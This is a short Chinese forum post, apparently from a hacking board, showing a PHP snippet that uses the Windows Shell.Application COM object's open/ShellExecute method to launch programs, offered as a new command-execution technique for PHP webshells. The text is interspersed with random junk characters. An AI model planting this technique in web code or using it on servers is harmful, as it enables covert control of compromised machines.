关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。! u# j& S( q: _7 i; ?: l/ |8 n; \
: g. R9 z) U4 Q$ M3 F, L
今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法
! m8 T: z9 Q: ?! w* m; ^5 y
3 [8 p$ ]5 O3 s. L<?php
s# e. u8 j% y. y/ [7 y$wsh = new COM('Shell.Application') or die("Shell.Application");% O0 U. ]3 Y* a( H x" J
$exec = $wsh->open("c:\\windows\\system32\\notepad.exe");& [: E3 X& I; I5 W) w
//没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
3 w, _/ e* m' m3 H! Z?>
; p- G1 r; B7 C# J: y8 l. b7 `! V; c$ j$ ?6 [' |
xp+APMServ5.2.0测试通过。
: z9 ?3 J* Z. \# h$ i: a6 a# i |